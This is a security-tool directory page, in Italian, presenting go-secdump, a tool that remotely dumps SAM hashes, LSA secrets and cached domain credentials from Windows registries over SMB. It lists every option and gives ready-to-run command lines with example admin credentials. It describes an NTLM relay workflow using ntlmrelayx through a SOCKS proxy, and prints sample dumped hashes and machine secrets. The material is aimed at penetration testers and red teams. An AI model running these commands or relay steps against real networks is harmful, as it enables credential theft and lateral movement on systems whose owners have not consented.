Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
go-secdump — Strumento per estrarre segreti da remoto dal registro di Windows | Kitploit
Strumenti/GitHubGitHub/jfjallid/go-secdump
Password CrackingStrumenti di Crittografia/DecrittografiaMovimento LateralePost-ExploitPenetration TestingAutenticazioneRed Teaming
GitHubjfjallid/go-secdump

go-secdump

Strumento per estrarre segreti da remoto dal registro di Windows

Vedi Repository
534601 mese faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

go-secdump

Descrizione

Il pacchetto go-secdump è uno strumento progettato per estrarre da remoto gli hash dal registro SAM, nonché i segreti LSA e gli hash memorizzati nella cache dell'hive SECURITY, senza alcun agente remoto e senza toccare il disco.

Lo strumento si basa sulla libreria go-smb e la utilizza per comunicare con il Registro di sistema remoto di Windows per recuperare le chiavi di registro direttamente dalla memoria.

È stato sviluppato come esperienza di apprendimento e come prova di concetto che dovrebbe essere possibile recuperare da remoto gli hash NT dall'hive SAM e i segreti LSA, così come le credenziali memorizzate nella cache del dominio, senza dover prima salvare gli hive del registro su disco e poi analizzarli localmente.

Il problema principale da superare era che gli hive SAM e SECURITY sono leggibili solo da NT AUTHORITY\SYSTEM. Tuttavia, ho notato che gli amministratori del gruppo locale avevano il permesso WriteDACL sugli hive del registro e quindi potevano essere utilizzati per concedere temporaneamente l'accesso in lettura a sé stessi per recuperare i segreti e poi ripristinare i permessi originali.

Tuttavia, un approccio migliore è stato scoperto (febbraio 2025) da Julien Egloff di Synacktiv. La richiesta BaseRegOpenKey utilizzata per aprire handle alle chiavi di registro ha un'opzione per affermare il privilegio SeBackupPrivilege, che ci consente di aprire le chiavi di registro senza dover prima modificare i DACL. Lo strumento è stato aggiornato per preferire questo nuovo approccio e modificare i DACL solo se richiesto esplicitamente.

Crediti

Gran parte del codice in questo progetto è ispirato/tratto da Impacket's secdump, ma convertito per accedere al registro di Windows da remoto e per accedere solo alle chiavi di registro necessarie.

Altre fonti che sono state utili per comprendere la struttura del registro e i metodi di crittografia sono elencate di seguito:

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

L'idea di utilizzare SeBackupPrivilege proviene da Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

Utilizzo

root@kitploit:~
Usage: ./go-secdump [options]

options:
      --host <target>        Hostname o indirizzo IP del server remoto. Deve essere un hostname quando si usa Kerberos
  -P, --port <port>          Porta SMB (default 445)
  -d, --domain <domain>      Nome del dominio per il login
  -u, --user <username>      Nome utente
  -p, --pass <pass>          Password
  -n, --no-pass              Disabilita il prompt della password e non invia credenziali
      --hash <NT Hash>       Hash NT esadecimale per la password utente
      --local                Autentica come utente locale anziché utente di dominio
  -k, --kerberos             Usa autenticazione Kerberos. (KRB5CCNAME verrà controllato su Linux)
      --dc-ip <ip>           Opzionale: specifica l'IP del KDC quando si usa autenticazione Kerberos
      --target-ip <ip>       Opzionale: specifica l'IP del target quando si usa autenticazione Kerberos
      --aes-key <hex>        Usa una chiave AES128/256 esadecimale per l'autenticazione Kerberos
      --keytab-file <file>   Autentica usando le chiavi da un file keytab (implica -k). Utente e dominio sono presi dalla prima voce del keytab se non specificati
      --dns-host <ip[:port]> Sovrascrive il resolver DNS predefinito del sistema
      --dns-tcp              Forza le ricerche DNS su TCP. Default true quando si usa --socks-host
      --dump                 Salva gli hive SAM e SECURITY su disco e li trasferisce alla macchina locale.
      --sam                  Estrae esplicitamente i segreti dall'hive SAM. Solo gli altri target espliciti sono inclusi.
      --lsa                  Estrae esplicitamente i segreti LSA. Solo gli altri target espliciti sono inclusi.
      --dcc2                 Estrae esplicitamente le cache DCC2. Solo gli altri target espliciti sono inclusi.
      --misc                 Estrae esplicitamente i segreti di registro vari come DefaultPassword di Winlogon. Solo gli altri target espliciti sono inclusi.
      --modify-dacl          Modifica i DACL delle chiavi di registro prima del dump.
                             Necessario solo se le chiavi non possono essere aperte usando SeBackupPrivilege. (default false)
      --backup-dacl          Salva i DACL originali su disco prima della modifica
      --restore-dacl         Ripristina i DACL usando il backup su disco. Potrebbe essere utile se il ripristino automatico fallisce.
      --backup-file <file>   Nome file per il backup dei DACL (default dacl.backup)
      --relay                Avvia un listener SMB che inoltrerà le autenticazioni
                             NTLM in arrivo al server remoto e userà quella connessione. NOTA: forza SMB 2.1
                             senza crittografia.
      --relay-port <port>    Porta di ascolto per il relay (default 445)
      --socks-host <target>  Stabilisce la connessione tramite un server proxy SOCKS5
      --socks-port <port>    Porta del proxy SOCKS5 (default 1080)
  -t, --timeout <duration>   Timeout di connessione in formato 5s o 2m (default 5s)
      --noenc                Disabilita la crittografia SMB
      --smb2                 Forza SMB 2.1
      --debug                Abilita logging di debug. Solo --debug attiva ogni pacchetto
                             registrato; --debug=msrrp,smb attiva solo i suffissi dei nomi dei pacchetti elencati
                             (la forma con '=' è richiesta per il filtro).
      --verbose              Abilita logging verboso. Stessa sintassi di filtro di --debug.
                             --debug e --verbose possono essere combinati con filtri diversi;
                             un pacchetto bersagliato da entrambi ottiene il livello superiore.
      --list-log-packages    Elenca i nomi dei pacchetti di log registrati che possono essere
                             bersagliati con --debug=<suffix> o --verbose=<suffix>,
                             poi esce.
  -o, --output <file>        Nome file per scrivere i risultati (default è stdout). Aggiunge al file se esiste.
      --output-format <fmt>  Formato di output: text (default), json o hashcat
      --history              Include i segreti LSA storici (OldVal) oltre ai valori correnti
  -q, --quiet                Sopprime le intestazioni informative; stampa solo i segreti
  -v, --version              Mostra la versione

Modifica dei DACL

Ora solo come funzionalità opzionale abilitata con --modify-dacl, go-secdump tenterà automaticamente di modificare e poi ripristinare i DACL delle chiavi di registro necessarie. Tuttavia, se qualcosa va storto durante la fase di ripristino, come una disconnessione di rete o un altro interrupt, il registro remoto rimarrà con i DACL modificati.

Usando l'argomento --backup-dacl è possibile memorizzare una copia serializzata dei DACL originali prima della modifica. Se si verifica un problema di connettività, i DACL possono essere successivamente ripristinati dal file usando l'argomento --restore-dacl.

Esempi

Estrai tutti i segreti del registro usando il trucco SeBackupPrivilege

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
oppure
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

Estrai solo cache SAM, LSA, DCC2 o segreti di registro vari

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

Il target --misc estrae segreti di registro vari che non appartengono agli hive SAM/LSA/DCC2, attualmente la password di auto-logon Winlogon DefaultPassword (e l'associato DefaultUserName) quando presente.

Segreti LSA storici, formati di output e modalità silenziosa

Includi i segreti LSA storici (OldVal) oltre ai valori correnti con --history. Scrivi i risultati in un file con -o/--output (aggiunto se esiste) e scegli come formattare i segreti con --output-format:

  • text (default) — leggibile dall'uomo
  • json — un array JSON di record tipizzati, utile per ulteriori elaborazioni
  • hashcat — hash NT nudi (modalità 1000) e righe $DCC2$ (modalità 2100) pronti per essere alimentati a hashcat

Usa -q/--quiet per sopprimere le intestazioni informative e il riepilogo in modo che vengano stampati solo i segreti stessi.

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

Logging per pacchetto

Elenca i nomi dei pacchetti di log che possono essere bersagliati, poi abilita il logging di debug o verboso per pacchetti specifici (abbinati per suffisso del nome) anziché per tutti:

root@kitploit:~
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

NTLM Relaying

Estrai segreti del registro usando NTLM relaying

Avvia il listener

root@kitploit:~
./go-secdump --host 192.168.0.100 -n --relay

Innesca un'autenticazione verso la tua macchina da un client con accesso amministrativo a 192.168.0.100 in qualche modo e poi attendi i segreti estratti.

root@kitploit:~
YYYY/MM/DD HH:MM:SS smb [Notice] Client connesso da 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) autenticato con successo come (domain.local\Administrator) verso (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] La firma NON è richiesta
2023/12/13 14:47:28 [Notice] [+] Login riuscito come domain.local\Administrator
[*] Estrazione hash SAM locali
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <vuoto>

Name: DefaultAccount
RID: 503
NT: <vuoto>

Name: WDAGUtilityAccount
RID: 504
NT: <vuoto>

[*] Estrazione segreti LSA
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Estrazione credenziali di dominio memorizzate nella cache (dominio/utente:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

Proxy SOCKS

Estrai segreti usando un proxy SOCKS5 a monte sia per il pivoting che per sfruttare la funzionalità del server SOCKS di Impacket's ntlmrelayx.py.

Quando si usa ntlmrelayx.py come proxy a monte, il nome utente fornito deve corrispondere a quello del client autenticato, ma la password può essere vuota.

root@kitploit:~
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
Scarica lo strumento